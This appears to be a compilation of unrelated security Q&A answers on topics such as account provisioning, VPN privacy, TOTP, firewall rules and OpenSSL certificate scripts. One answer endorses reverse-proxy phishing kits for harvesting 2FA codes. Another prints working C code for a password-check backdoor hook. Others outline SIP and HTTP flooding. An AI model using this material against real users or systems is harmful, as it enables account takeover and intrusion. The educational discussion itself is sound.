Talk to them in a two way conversation in as close to real time as conveniently possible (in person/phone/instant message/email conservation) and give them an initial password that has to be reset on first login.

This is typically done with the chage command on linux/unix:

sudo chage -d 0 the_new_user

Verify afterwards that they got the new account using an independent method (e.g., if you called them previously; send them an email), so in case you were social engineered somehow (e.g., their cell phone was stolen or email was intercepted) there was an independent check afterward.  Also don't give them root or other elevated permissions until you've verified them.

EDIT: The initial password should be something random; e.g. 12 random characters generated by a computer.

EDIT2: Mitigating against eavesdroppers is simple if the people at both ends can be trusted.  If you can confidently identify the person on the other end of a phone/videoconference/etc give them a one time initial password (that they then have to reset), verify that they are in, and then elevate privileges.  If its a web app, this initial password could be an token in an emailed link (that works once; auto-expires after short period).  If its a work account, maybe only let the webapp send password emails from/to your local domain (which you've configured to use SSL).  Even if an eavesdropper intercepted, they would have to beat the person to initially using it (and then the legitimate user would have issues which would kick the eavesdropper off).

The thorny issue is one of establishing trust that a remote third party should have access to the account.   This starts with verifying the reason you giving this user this account?  Are they a well-known co-worker/acquaintance who needs access to something new?  Or did your boss say give you an email saying give joe@something.com access to server X?  Could you be social engineered (someone pretending to be boss over phone/stolen bosses email)?  This is not a straightforward task; however checking the instructions in person, or via video conference, or phone mitigates risks of the command being socially engineered.  Granted your boss may be social engineered -- maybe the new person should not be trusted.


Paros is an HTTP/HTTPS proxy, so it only handles those specific protocols.  Most VPNs use IPSec or OpenVPN as their application protocol, so Paros would not see them.

Your ISP will not see the URLs you visit, only encrypted traffic to the VPN provider.  Your ISP can trivially identify that you are talking to a VPN provider.  Your VPN provider can (if they choose to) see all of the web traffic you send.  (Full URLs for HTTP, only hostnames for HTTPS.)
 Also note that an attacker who can see both traffic into the VPN endpoint and out of it can trivially identify the VPN user who is originating traffic to a given site.


Will HTTPS expose the IP address of the receiver?

Yes, they will. It doesn't make any difference which application layer (L7) protocol you are using for the communication, as IP addresses and routing is happening on lower network layer (L3). See e.g. List of network protocols (OSI model).

Anyone being able to capture your HTTPS traffic knows the site you are visiting:

The IP headers (L3) reveals both source and destination IP addresses.
From the destination port 443 in the TCP headers (L4) you can guess it's probably HTTPS, and it's easy to test whether there's a web server listening or not.
The HTTPS – or the TLS handshake providing the encrypted channel for HTTP – reveals even more. Among many things, the ClientHello has Server Name Indication (SNI) extension. This means that anyone capturing the beginning of the HTTPS session also has the hostname in plain text.


Discrepancies between rkhunter itemized report and summary

I think you are probably getting a couple [WARNING] messages in the Performing file properties checks, which is being flagged as a possible rootkit.

Running:

sudo rkhunter --propupd

when you first install rkhunter and after any software upgrades should fix it. Just understand that all this program does is check for changes in system files vs stored values in it's database. If these files were maliciously changed and you ran the above command, rkhunter would report everything as okay.

Source and additional info: https://help.ubuntu.com/community/RKhunter


Phishing attacks with two factor authentication

Yes this is doable. And there are existing platforms that do the heavy lifting for you concerning the typical applications:
 - https://github.com/ustayready/CredSniper
 - https://github.com/kgretzky/evilginx2

Conceptually they front the real application and pass on all authentication factors. You can even have the victim use the real application transparently, whilst you harvest credentials, 2fa codes and session identifiers.


Security Practices by Employees in a Corporate Environment

Interesting question.  There's a couple of areas that are possible controls for this.

The obvious first place is patching things like Java.  It's commonly overlooked in patching processes but with the level of attacks need to get patched as soon as possible.

The next one is hardening.  Java applet functionality (which it likely what was exploited here) should be disabled for all general browsing.  If it's required for line-of-business applications I'd recommend using a separate browser with it enabled which is only allowed to access those sites.

In terms of detecting the infection in PDFs that's trickier.  As you say it probably won't flag to signature based A-V.  Potentially some heuristic style detection programs would catch it (as it does things that a standard PDF won't)..

Another possible control is white-list based program execution (e.g. Bit9).  If you can get to the point where only trusted programs can run, then it might block malware when it executes (or at least make it much harder for it to do so).

Lastly detective controls are a good option here.  The malware will likely make connections out-bound to C&C servers so it might be possible to detect those connections..

None of these options are 100% but things perhaps worth considering.


Instead of trying to toe some ill-defined line, think about your security, and your responsibility to your customers.  If a hacker was in your network, what would happen?

Even if PCI didn't technically require it, if this data is in my network, I would require it. That said, our QSA's interpretation is that it always needs to be encrypted internally.


Threats against website running without TLS but with PGP messages

The main problem you find is with the validation of information, without validate the server's PGP key you can not confirm the integrity nor the confidentiality of your information.

What could happen:

Server: sends the public key to the client;

Man-in-the-middle: Receive the public key, and send his own public key to the victim;

Victim: Receives the attacker public key;

When server sends information to victim, the attacker would simple read, or change it, and then send it to the victim.


How does sensitive information leak assist in exploit development?

Usually, that kind of leak (reading a string which was not NULL-terminated) results in reading what happens to reside in RAM just after the string. Then this depends on where the string is. If the string is stack-allocated, then this discloses part of the stack (since stacks "grow down", this will explore local variables of callers of the current function). If the string is heap-allocated, then the reading will overflow in adjacent blocks, which can be about anything, depending on all previous allocations since last boot, so this is rather unpredictable.

There are some high-value targets in the kernel (e.g. encryption keys for in-kernel cryptographic operations). These targets can be in local variables, block-allocated objects... it really depends on the context. Simply reading the local stack can help a lot in fine tuning a buffer overflow exploit (a non-tuned buffer overflow leads to a crash, a tuned buffer overflow can lead to arbitrary code execution).

Most peeks at the kernel memory won't reveal anything of value, because 99.9% (at least) of memory used by some code (be it the kernel or some application) is not really confidential and could be revealed with no ill effect. However, it is very hard to precisely locate the remaining 0.1%: guaranteeing that a given piece of information is not sensitive is nigh infeasible in the general case. So it is safest to consider such information leak vulnerabilities as "potentially serious", and fix them.


Is docker for desktop secure for non-admins?

Allowing unrestricted Docker commands on a host from (relatively) untrusted users is likely to be a cause of problems, as it allows for access to the underlying host OS.
One example is file mounts. Using Hyper-V Windows containers, the user on the host used to check for permissions is LocalSystem , so any directory that user has access to can be mounted inside a container (more info. on windows container permissions here
It's also possible to get access to hardware from Docker in Windows, based on the docs here.
One option might be (assuming your users want to run Linux containers) to create a Linux VM for the user manually on your Windows host, and then provide them with access to Docker running in that VM, either by given them SSH access to the VM, or by putting the Docker client on the host machine and connecting over SSH


Phone conversations being recorded and played back

This looks like a malfunction and to prevent it from happening (i.e. others listening to your conversations as well) it's best to report it to both carriers:

By email, and include:
Date and time of conversations with timezones
Source and destination number
Description of the problem


Sync AWS snapshots to secondary account - supplier ask for "swap" - security theathre?

This is a bad idea to trust the third party supplier if you don not have to.
Use the principal of least priviledge.
Create your secondary account yourself, and lock the account credentials away in your business safe/lawyers office (and not in your operational password safes).
This will give the same backup advantages without the downside of trusting a(nother) third party (other than Amazon).
In general I appreciate the approach you are taking and think it is a cheap backup to avoid an ugly and probably rare problem.


Why the servers stores hashed password instead of relaying on private/public key

If you are talking specifically about web applications (as per the tag) then even with client-side password hashing/encryption you are still just as vulnerable to man-in-the-middle as with sending a direct password.

This is because a man-in-the-middle attack can sabotage the client-side script on its way from the server to the client, to make it do something other than the desired crypto-protected passing of the password. The end user would never notice (as it would take a JavaScript debugging expert to determine that this had happened).

To defend against MitM you would have to have trusted code built into the browser (or an add-on) instead of server-sourced JavaScript. This might be, for example, HTTP Digest Authentication.

However in general if you have MitM against the application then you've pretty much lost already. Even with a secure digest-style auth scheme, you'd still be able to imitate any action the user could take in the application, nobble the password at setting/changing time, or just change the app's interface to prompt for the password in-page.

This is why the bulk of effort has been put into keeping the whole channel secure (with SSL) rather than password protection specifically. Not that SSL's perfect, obviously...


How to keep a reasonable level of entropy in an encrypted file?

You may be asking for steganography, where data is hidden in seemingly normal data/files. The hidden data can be encrypted or plaintext. There are many different applications of steganography, such as lists, text, images and file metadata.

Keeping entropy in encrypted data means insecure encryption. Think of rot13 or similar substitution ciphers where one character is always replaced by the same character. You have the same entropy in the ciphertext as in the plaintext but the plaintext is easily deduced from the ciphertext.

Good cryptographic algorithms depend on reliable pseudo-random number generators where every possible number has the same chance of appearing, but still leaving no clue as to which number is the next number. This results in high entropy so the plaintext is completely mumbled (very simplified explanation).

Note that hiding data (steganography) requires plenty of disk space since the wrapping data still needs to look "normal". Using image steganography also often results in noise or other effects that change the way the image looks.


Does this show the need for a two-factor authentication?

"Two-factor" is not "two-way".

"Two-way" authentication, aka mutual authentication, is when two entities (let's call them A and B, e.g. a WiFi access point and a client system) prove to each other that they are who they claim to be; A gains confidence in the fact that it talks to the genuine B, and B gains confidence in the fact that it talks to the genuine A.

"Two-factor" authentication is when one entity proves its identity to the other twice, using two methods which are qualitatively different. E.g. A shows to B a password and a code which B just sent to A's mobile phone (with a SMS); this is "two-factor" because A's password is bound to A's brain (that's "something A knows"), while the code over SMS is bound to A's phone (that's "something A owns").

The two notions are orthogonal to each other.


I worked in a company that considered this. Here's the problem: if any of your employees have any legitimate need to access sites from those countries; news from home, travel to those countries, etc, then you block that legitimate access, too.

If you look at the "usual suspects" and name Russia and China as common phishing site hosting locations, then by making a corporate decision to block any internet traffic to those countries, you set up a prejudicial environment in your workplace at a corporate level about the people from those countries. Please consult your HR department before considering implementing this.

There are lots of other ways to block phishing sites and if you consider the human effects, those other ways tend to have less tangential impact.


Easiest solution for automatic encryption of files on Dropbox?

There is tool by Stefan Küng called CryptSync that does almost exactly what you are describing there. You can find it here.

The developer is the same trusted developer who created the hugely popular SVN client "TortoiseSVN" and many other tools, so I would have no problem trusting it. I think the tool uses the 7z implementation of AES encryption.

From what I can see the current downloadable client is for the Windows platform only but the source code is open source and written in C±± (cross platform portability) so you can modify it as needed and compile it on your own.

Edit: I recently also discovered Boxcryptor which is cross platform but not open source or free (quite expensive in fact).


Is it safe to create a session from an auth token?

See the answer here, it may help: Session Authentication vs Token Authentication

From what I understand from the answer, there is nothing wrong with using a token to authenticate, and then generating a session from the aforementioned token.


How safe is Two Factor Authentication (TOTP)?

Authentication relies on the following: (source)

Something you know
Something you have
Something you are

A good reason to use TOTP is to increase security by using multiple factors from the list above. For example, if your password becomes known to someone else, they would still need access to your TOTP device to authenticate.

However, that does not mean that TOTP devices are invulnerable to attack.

RFC 6238 states that:

  The keys MAY be stored in a tamper-resistant device and SHOULD be protected against unauthorized access and usage.

This means that TOTP implementations are not required to protect the shared secret to be RFC compliant. However, you might consider looking for a TOTP application that requires a password to decrypt the shared secrets. This provides some additional protection, but if your phone's security is compromised by an exploit or malicious physical access, keylogger attacks become possible.

You also asked how many keys an attacker would need to see to discover your shared secret. From RFC 4226, Appendix A.4.3:

  No matter what strategy the adversary uses, and even if it sees, and tries to exploit, the authenticators from authentication attempts of the user, its success probability will not be above that of the brute force attack -- this is true as long as the number of authentications it observes is not incredibly large.

So, in general, a brute force attack is the best that could occur. However, if the adversary can generate the codes at will (and for some reason they do not already have the shared secret), this does not hold. More information about what influences this attack are available in the RFC.


How can I delete Telegram messages from their server?

See the FAQ: telegram.org/faq

Q: How do I delete my account?
If you would like to delete your account, you can do this on the deactivation page. Deleting your account permanently removes all your messages and contacts. All groups and channels that you've created are orphaned and left without a creator but admins retain their rights.
Q: What happens if I delete my account?
As was just mentioned above, all your data will be flushed from our system: all messages, groups, and contacts associated with your account will be deleted. That said, your contacts will still be able to chat in the groups that you have created, and they will still have their copy of the messages you sent them. So if you want to send messages that can vanish without a trace, try using our self-destruct timer instead.
Termination of a Telegram account is irreversible. If you sign up again, you will appear as a new user and will not get your history, contacts or groups back. People, who have your phone number in their contacts, will be notified. The new user will be displayed as a separate conversation in their messages list and their conversation history with this new user will be empty.

(Emphasis mine)
From the privacy policy:

Everything you delete is deleted forever.


SRI for CSP - how do I get the hash for inline code?

For a CMS, such as wordpress, I would strongly recommend using a nonce instead of hashes. There is even a plugin for that.

Including too many hashes has performance cost, as the browser has to hash all the scripts to compare the hashes. Also using it on files that change, for example because of updates is not feasible.

If you still want to use it, my only advice can be to look for a way to get the error "untruncted". You can try to shorten the header so that there is more space in the console or try to look into Chrome log files, whether it is there.


You can limit connections by network blocks, e.g. choose a size such as a C class (256 IPs) and then limit each C class connecting to you to say 10 connection per block of IPs. Unless an attacker is on the same C class as you (unlikely) then you will be able to connect still. To do this use the "--connlimit-mask" option, explained in:

http://ipset.netfilter.org/iptables-extensions.man.html

An example to limit access to your SSH server port would be:

iptables -p tcp --syn --dport 22 \
-m connlimit \
--connlimit-above 10 \
--connlimit-mask 24 \
-j REJECT

So first we specify the protocol TCP, then SYN packets (connection initiation) and a destination port of 22. Then we use the connection limit module, limit it to 10 connections for each network block with a network mask of /24 (a C class with 256 IPs).


Android pinning SSL handshake Exception after SSL renewal of website

does renewel of SSL supposed to be stop the existing app?

If you change the public key during renewal then breaking pinning is expected. If you keep the public key pinning should still work.

  what can i do so the old app will work without releasing the new app with new SSL pinning?

If the public key changed you have to release a new app with updating pinning information. There is no workaround.


Is it possible to do Public Private Key Encryption on a chip (hardware)?

In general you don't need to protect the Public key on hardware storage. It's called the public key for a good reason.

If you encrypt something with a public key, then it is only possible to decrypt it with the private key (and vice versa).

So, in general it doesn't matter who has the public key. Your public key could be on a billboard and your server could encrypt with the public key as much as you like and nobody will be able to read the encrypted data except whoever has the private key.

All the PKI hardware (smartcards, HSMs, etc) I am aware of is divided into public sectors and private sectors so if you want to store the public key privately then the private key is loaded onto the public partition (i.e. not an ideal solution).

If you want something more like mutual authentication in the log distribution mechanism then it's much better to use two sets of keys (one set for the client and one set for the Server).


How to determine whether the redirect link is secure or not?

You didn't explain what you mean by secure, so it is hard to answer your question.  Please see the FAQ for advice on how to ask questions.

But that said, here are some resources on general risks with open, unrestricted redirects:

Open redirect vulnerabilities, pp.43-45 of Insecure magazine
OWASP on open redirects
Open redirect CWE description
An argument that open redirects are not a problem, or at worst are a minor issue
Example of an open redirect used for phishing
A mailing list with some thoughtful discussion on whether open redirects are really a serious problem or not
An example of a XSS attack on many forums that was facilitated by an open redirect in Youtube

These may help understand the potential security risks associated with open redirects.

Please understand that there is debate about whether open redirects are a serious problem worth worrying about or not.  Many people would say that they pose little risk to the site that hosts the open redirect and aren't worth too much energy to fuss over.


Scenarios like that are possible, but not without consequences. Your list continues like this:

A victim reports this to the police.
The perpetrator loses license to operate as a franchise due to this abuse.
T-Mobile hands over the identity to the police.
Criminal charges are easy to bring as the evidence is overwhelming.

A more typical SIM swap scam is to abuse operator's procedure to get a new SIM card to replace a broken or lost card. As the perpetrator impersonates the victim he leaves much less traces back to himself.
Also, SIM card alone isn't enough to bypass MFA. If that was sufficient, it would have been 1FA. Instead, the perpetrator must also get to victim's password in a 2FA or gain access to all other factors of a wider MFA.
Some services may allow resetting the password having access only to the phone number; now that's really a vulnerability! Also, a fallback to SMS authentication on e.g. Time-based One-time Password (TOTP) failure is not a good idea.


It is not possible to give a definite answer, because you are telling us how things should work, not the actual implementation. As a result, people can only make wild guesses. It would be very unethical for a professional to make any kind of statement about the security of the system in such a case. It would be akin to a doctor making a diagnosis, based on a phone call with a patient, who claimed that sometimes their joints hurt a bit.

The best way to get some more practical results is to conduct a professional penetration test. This may or may not be within your budget, but you can always contact a pentesting company near you and ask for an estimate. Depending on the size of your application and some other details, such a test could cost you several thousand dollars.

If this is out of your reach budget-wise, then an automated vulnerability scanner may be worth a try. Most well-developed vulnerability scanners come with a free trial, but be sure to adhere to the license requirements (especially in regards to commercial use, should that apply to you). Keep in mind that automated scanners will give automated results, so please don't equate "The scanner did not find anything" with "No vulnerabilities exist".

You might ask which pentesting companies or vulnerability scanners I would recommend, but such recommendations are off-topic.


I'd recommend reading this paper I found on google: http://www0.cs.ucl.ac.uk/staff/f.huici/publications/sipdos.pdf

Where you are missing is that you don't DoS the server but rather the phones. Servers in SIP are often only used to find the clients. The idea is to flood the clients themselves. As per the publication, it would only take about 180 invite messages per second to take down the phone. Some phones even did a complete reset.


Rather than answer a question about a specific policy that may be in place to prevent a very specific problem, I'd point you at http://passwordresearch.com/ as a good resource site for helping you get your task done.

When you come up with a solution, be prepared to justify each restriction you place on it. Think about why you might choose to set a minimum length, and what that minimum should be. Do you need a maximum length? Why would you limit it? Are you trying to prevent SQL injection attacks? What would be the purpose for requiring a digit? Every aspect of a policy should be grounded in logic.


Beginner-friendly tool to simulate HTTP flood on my website

If you were running apache then you'd already have 'ab' available. I was under the impression that 'wrk' was often distributed with nginx - it is available seperately. Alternatively httperf will do the job.


Two factor authentication: SMS/TOTP, but what if you only use your phone

You still have the same advantage. Two factor authentication with SMS/TOTP is based on two things :

Something you know - your password
Something you have - your phone

If you log in using your phone you need to know the password and... have the phone. This way it's still the same amount of security.


How secure is Windows 8 email authentication?

Using the stolen laptop scenario; if you don't use whole disc encryption then all your data belongs to the thief.  All of it.  So what account you use is of little significance.  Keep in mind, however, that if you connect your OS credentials with your email credentials then you're exposing a wider attack surface by which a bad guy can get them.  Remember that email itself has no default assurance of security.  Different systems implement email security in different ways and with varying degrees of success, but email itself isn't something you can really put a whole lot of trust in.

Advantages:

convenience of single sign on

Disadvantages:

OS security bound to a non-secure system with non secure protocols.
Common credential gives total access
Windows :-P

If you have whole disc encryption enabled then you're better off but I would not trust any security features to email integration.  Yes it is convenient, but so is leaving the keys in the ignition.


It sounds like you are worried about your web server code trusting a third party library that generates content within your HTTP response. This is a very valid concern.

If all that it generates is CSRF tokens, i.e. some strings, it makes sense to add XSS protection (whitelisting chars, escaping special characters ...). This should eliminate most of the likely XSS vectors that your black-box library introduces.

On the other hand, if the library is generating JavaScript which is embedded in your response, you may want HTTPOnly cookies, to limit visibility of your DOM. In the latter case, you could also consider implementing a Content Security Policy. However, this is much harder to implement correctly. You may also want to study and log the client-side code generated by the library.


It is impossible to say if a VPN provider and infrastructure is actually trustable for an unknown purpose (the only information about the purpose were "can I trust"). It is even impossible to evaluate the specific VPN if your purpose was actually more clear. Apart from developing a threat model for your purpose a proper evaluation would then likely involve checking the code involved at the client and server side against accidental bugs and deliberate backdoors, checking the infrastructure and how well it is protected against unauthorized access, and and and ...
In other words: No, it is not fully trustable. Nothing is. It might still be trustable enough to reduce risks which you have when using an open hotspot. But you are still relying on a third party for code and infrastructure. Running your own VPN instead is likely more trustable, but even in this case you usually rely on code which you don't fully understand and control and run your VPN endpoint in an infrastructure you don't fully control either.


What network protocol is Crashplan using?

The connections CrashPlan uses are encrypted using TLS.  (I've casually seen the traffic when looking at other things.)  As for whether or not it's safe: the protocol doesn't really matter, only whether CrashPlan has exploitable bugs in their software, and that's pretty hard to discern without either extensive reverse engineering or access to their source code.


Is it insecure to not let a user choose their own username, and base the username on a known pattern?

To address your primary question: a username is largely security neutral. NIST doesn't really have specific guidelines dictating what usernames a system should require. On page 21 of NIST Special Publication 800-63-3 (Section 4):

  ..the RP (relying party) may request the CSP (Credential Service Provider) assert information about the subscriber, such as verified attribute values, verified attribute references, or pseudonymous identifiers (i.e. your account number). This information assists the RP in making authorization decisions. An RP [..] may only need specific attributes, resulting in the subject retaining some degree of pseudonymity. This privacy enhancing approach is a benefit of separating the strength of the proofing process from that of the authentication process.

From a security perspective: how a username is determined is often the least critical part of the entire authentication design process. Is it ideal for you to have a username that both identifies your bank down to the branch (your sort code) in combination with your account number? No. Is it the ideal way for a relatively large system to assign potentially tens or hundreds of thousands of usernames to unique individuals across multiple geographic locations? Probably, yes.

To address your specific situation: yes - as you have already outlined, it is less secure to have your username be your account number than it would be to set it yourself - but it's also more secure than having firstinitial.lastname or some other similarly structured syntax.

Based on whom you are considering making your complaint to, I am going to assume you are in the UK - so you may be able to find more specific guidance for UK and the EU (while you guys are still in it). By all means - make a complaint if you think it might help the situation, just keep in mind that there is no legal way for you to know for sure whether or not they are storing user passwords in plain text on their systems. In my opinion: being unable to change your password is the biggest red flag in the whole situation - so that might be where you can find some traction.

To address your points:

  Whilst my bank account number is not necessarily secret (it is printed on cheques, and I need to give it to people to transfer money to me), it seems needlesly open.

Your bank account number is as open as you allow it to be. Only write checks/give your routing information to trusted parties, secure your mailbox as best as you can, and if all else fails - choose another bank or change your banking practices. If your trust issues conflict with whatever convenience/benefits you are gaining, that is your decision to weigh.

  While most other websites also don't allow you to change your username and pre-set your username to your email address, in that scenario I at least have the option to create a throwaway email address, or use a + address.

This depends completely on the organization/company/system you are dealing with - in most cases dealing with money/bills where your account is automatically generated, you won't get to pick.

  It limits usernames to a single character set (numeric) which makes it easier for brute force hackers etc.

No one is going to brute force your username. Someone getting into your e-mail (and retrieving your password), gaining access to your [hopefully hashed] password from the benefits system, or logging your password because the computer you use to access the site has been compromised are the real issues here.

  Someone hacking my account will be able to gain the following information about me:
  • Name
  • Address
  • Sort code
  • Account number
  • Email address
  • Phone number

If someone is hacking your account specifically (as opposed to passive collection or downloading as many user credentials as they can), you can probably assume that all of those pieces of information are what they are already working with. Most of that (and including your date of birth) will be publicly available anyway, most of it is written directly on your checks, etc.

In conclusion: if you are making a complaint, include everything you can prove - maybe even what you expect is happening on the backend - but don't get your hopes up.


How are unique SSH users linked to authorized_keys file?

The authorized_keys file is not a per-server thing - it's a per-user-on-server thing.

If you want someone to access your server as "user1", you place their public key in ~user1/.ssh/authorized_keys. Now they can login as user1, and only user1.

If you want them to be able to login as other users, you need to copy their public key to the authorized_keys file of each target user. (Or you can user sudo to let them su to the other users.)


Can't log into Windows, mac-spoofing issue or malware?

Well we may never know what the cause was but I would have dropped in the ophcrack livecd and at least checked to see if the password had changed.
ophcrack live cd


Can an infected endpoint steal private keys from a FIDO U2F Hardware Token / Yubikey?

No, this is not possible. Secrets can't be extracted from Yubikey tokens once they've been written. U2F keys don't even allow the secret to be written.


help understanding client certificate verification

In order to sign client certificates, you will need a CA certificate you control. Paying for one is out of the question in most cases, as global-trusted CA certificates are a security hazard for the rest of the Internet. So in these cases you have to make your own CA and create your own server and client certificates.

So let's start with a basic openssl.conf file that we will use for generation of all these certificates:

[ ca ]
default_ca  = CA_default                # The default ca section

[ CA_default ]
certs          = certs                  # Where the issued certs are kept
crl_dir        = crl                    # Where the issued crl are kept
database       = database.txt           # database index file.
new_certs_dir  = certs                  # default place for new certs.
certificate    = cacert.pem             # The CA certificate
serial         = serial.txt             # The current serial number
crl            = crl.pem                # The current CRL
private_key    = private\cakey.pem      # The private key
RANDFILE       = private\private.rnd    # private random number file

x509_extensions  = v3_usr               # The extentions to add to the cert
default_days     = 365
default_crl_days = 30                   # how long before next CRL
default_md       = sha256               # which md to use.
preserve         = no                   # keep passed DN ordering
policy           = policy_match
email_in_dn      =

[ policy_match ]
commonName      = supplied

[ req ]
default_bits        = 2048
default_keyfile     = privkey.pem
distinguished_name  = req_distinguished_name
x509_extensions     = v3_ca

[ v3_ca ]
basicConstraints     = CA:TRUE
subjectKeyIdentifier = hash

[ v3_usr ]
basicConstraints     = CA:FALSE
subjectKeyIdentifier = hash

[ server ]
basicConstraints       = CA:FALSE
nsCertType             = server
nsComment              = "Server Certificate"
subjectKeyIdentifier   = hash
authorityKeyIdentifier = keyid,issuer:always
extendedKeyUsage       = serverAuth
keyUsage               = digitalSignature, keyEncipherment

[ client ]
basicConstraints       = CA:FALSE
nsCertType             = client
nsComment              = "Client Certificate"
subjectKeyIdentifier   = hash
authorityKeyIdentifier = keyid,issuer:always
extendedKeyUsage       = clientAuth
keyUsage               = digitalSignature

[ req_distinguished_name ]

This config file is made for automatic generation of certificates from a batch script. If you need more control or naming options, you need to adapt it to your situation.

So for generating a CA, go to the directory where you want to make your CA, put openssl.conf there and:

PASSWORD="PUT_YOUR_CA_PASSWORD_HERE"

# Make the config CA specific
cat openssl.conf > use.conf
echo "CN=PUT_CA_NAME_HERE" >> use.conf

# Create the necessary files
mkdir keys requests certs
touch database.txt
echo 01 > serial.txt

# Generate your CA key (Use appropriate bit size here for your situation)
openssl genrsa -aes256 -out keys/ca.key -passout pass:$PASSWORD 2048

# Generate your CA req
openssl req -config use.conf -new -key keys/ca.key -out requests/ca.req -passin pass:$PASSWORD

# Make your self-signed CA certificate
openssl ca  -config use.conf -selfsign -keyfile keys/ca.key -out certs/ca.crt -in requests/ca.req -extensions v3_ca -passin pass:$PASSWORD -batch

# Cleanup
rm requests/ca.req use.conf

Now to generate a server certificate (e.g. for your web server):

PASSWORD="PUT_YOUR_CA_PASSWORD_HERE"
NAME="PUT_THE_NAME_OF_SERVER_TO_GENERATE_HERE"

# Make the config Server specific
cat openssl.conf > use.conf
echo "CN=$NAME" >> use.conf

openssl req -new -nodes -extensions server -out "requests/$NAME.req" -keyout "$NAME.key" -config use.conf -passin pass:$PASSWORD )
openssl ca -batch -extensions server -keyfile keys/ca.key -cert certs/ca.crt -config use.conf -out "certs/$NAME.crt" -passin pass:$PASSWORD -infiles "requests/$NAME.req"

# Cleanup
rm "requests/$NAME.req" use.conf

Now to generate a client certificate:

PASSWORD="PUT_YOUR_CA_PASSWORD_HERE"
NAME="PUT_THE_NAME_OF_CLIENT_TO_GENERATE_HERE"

# Make the config Client specific
cat openssl.conf > use.conf
echo "CN=$NAME" >> use.conf

openssl req -new -nodes -extensions client -out "requests/$NAME.req" -keyout "$NAME.key" -config use.conf -passin pass:$PASSWORD )
openssl ca -batch -extensions client -keyfile keys/ca.key -cert certs/ca.crt -config use.conf -out "certs/$NAME.crt" -passin pass:$PASSWORD -infiles "requests/$NAME.req"

# Cleanup
rm "requests/$NAME.req" use.conf

The only difference between generating keys and certificates for clients and servers it to prevent that a stolen client certificate can also be used to play a server and 'fool' other clients to connect to it (this only works as long as your applications support the client and server extension in certificates).


Yes it is OK to proceed this way for ISO certification. The standard requires that risk assessments are performed at regular intervals or when significant changes occur. Your certification auditor may put it to you that changes to your asset inventory constitute significant change. The Statement of Applicability is based on the risk assessment. The word Applicability is key. What applies now. This may change several times based on, as you say, changing assets or penetration testing. I hope that helps. Good luck!


Difference between Threat Impact and Business Impact

Threat impact generally refers to impact on Confidentiality, Availability, or Integrity to the organization, system, or dataset.

Business impact is an estimate of the damage to the organization in a long-term sense. In most cases this term just refers to actual financial impact but in some cases it may include many other dimensions such as market positioning.

In many cases, these two impacts are frequently graphed as an X and Y access to give the business a better view of how several of the risks to a business compare.

Simply put the reason you would want this is there are business assets that can be completely destroyed or taken off-line which would have almost no effect on the business. If in this case there were a really easy to exploit critical vulnerability you may rate it as (Threat impact HIGH, Business impact LOW)

... and at the same time if this business had other services which if they were even slightly damaged or taken off-line would create a HUGE impact on the business and those services had a very minor vulnerability which wouldn't cause a loss of data but may radically slow the site down you may rate it as (Threat impact LOW, Business impact HIGH)

Rather than a company rating all assets equally and trying to protect all assets equally, or going after the HIGH Threat impact issues first, it is more important to prioritize the ones which could have the greatest impact on the business.

Having separate ratings like this help businesses and security teams focus their time and money better.


Username and password alone or together with WebAuthn1 only offer an authentication of the user.

Modern authentication methods used by the banks like PhotoTAN instead authenticate each transaction separately: not only it gets checked that the user is present but the transaction information are displayed on an independent system (app on mobile phone or extra hardware) so that the user can verify these before authenticating the transaction. Even proper SMS based methods show the transaction details together with the created TAN in the message.

This kind of independent verification of the transaction details and transaction-dependent verification is needed since in the past trojans or man in the browser changed the transactions on the fly, i.e. the user was seeing the correct transaction in the browser or mobile app and authorized it while in the back the submitted transaction information where changed in favor of the attacker.

In other words: username+password and WebAuthn1 only authenticate the user. This is not sufficient and an additional transaction-dependent authentication is needed.

1 As mention in a comment WebAuthn does in theory support authentication specific for a transaction. This still requires an extra device or app though since it is "intended for display on a trusted device on the authenticator". Thus just WebAuthn without such additional trusted device is not sufficient.


The technology you are looking for is Kerberos. It allows for a secure, mutual trust between objects in an Active Directory (in your case - the AD controller and a host, member of the AD).

Microsoft has a few comprehensive reviews of how it works. This one is from 2009 but the concepts are the same.


What is the difference between "hooking" and "rooting"?

Rooting is a term for gaining root privileges on a system. Detecting an attacker that has rooted your system is very difficult, since the root user can generally do anything it wants, including tampering with logs or modifying security software and configuration. Rooting is a very broad term and can encompass many things. An attacker who rooted a system may use hooking to hide his presence.
Hooking is a specific technique that is often used in hacking (although also has a place in debugging). It usually entails replacing a target function with a "dummy" function that acts as a wrapper and contains code that evaluates or modifies arguments before passing them on to the "original" function, or even replaces the original function in its entirety. Below is example source code for a shared object that hooks a function from the fictional library libexample called is_password_correct(). If the password is ActivateBackdoor! then normal password checks are bypassed and it returns true.
#include <dlfcn.h>
#include <string.h>

bool is_password_correct(char *pass)
{
    static bool (*original_function)(char *);
    void *handle;

    if (!original_function) {
        handle = dlopen("/usr/lib/libexample.so", RTLD_LAZY|RTLD_LOCAL);
        original_function = dlsym(handle, "is_password_correct");
        dlclose(handle);
    }

    return strcmp(pass, "ActivateBackdoor!") ? original_function(pass) : true;
}

This is not the only kind of function hooking. You can hook other APIs like syscalls as well.


Detecting disabled Chrome plugins using JavaScript

I have banged my head in the wall for awhile with the same question and failed to find a reliable answer in SO or elsewhere. There are ways to tell if a third-party plugin (like an add blocker) is limiting your flash, but in the case of flash being disabled by the user (or default browser setting), I suppose it is too much of a security breach to give this info away.

I looked at the Adobe flash-testing page and saw how they seem to be doing it - hope it brings some clarity:
They check the client's browser and OS versions and make an assumption based on this data whether flash is disabled, or not installed at all. If you want - inspect their page and look at polarbear_browserdetect.js and swfobject_util.js.


If I understand you right than you want to make sure that no user data are compromised even if your site gets hacked. First you should be clear that this only can apply if you detect hacks to your site. If the attacker manages to hack your site and you don't notice this then the attacker can track all activity on this site and probably de-anonymize the users which use the the hacked site.

You should also be clear that users might be de-anonymized by the way they write, i.e. the writing style, the time they write, the topics they know about and the arguments they use. Thus full anonymization will probably not be possible because the information the users inadvertently provide on themselves.

Apart from that you should never ever store any information which might be used to make  de-anonymization easier. That is you should forget the e-mail address provided by the user immediately after you've sent the verification mail and should only associate some random token with the account. And you should not associate any posting by the user with the account or with each other because analysis over multiple posts by the same user provides way more information about the user than a single post would do.

Of course these restrictions in the information you store impact the usability of the site. You can also never provide some password recovery since you don't have any information about the user (no e-mail, no secret questions). You can also have nothing like all posts by the user or even recent posts because you don't associate posts with each other. And it might even be hard for a user to edit its own postings, although see this question for possible ways.

At the end you might need to find a balance between anonymization and usability. But to do this you should thoroughly  analyze the situation, i.e. do an evaluation of how much anonymization you need to provide and which risks your and your users are willing to take at the cost of better usability. And of course the users must be aware about the risks, so don't claim full anonymity if you cannot provide it.


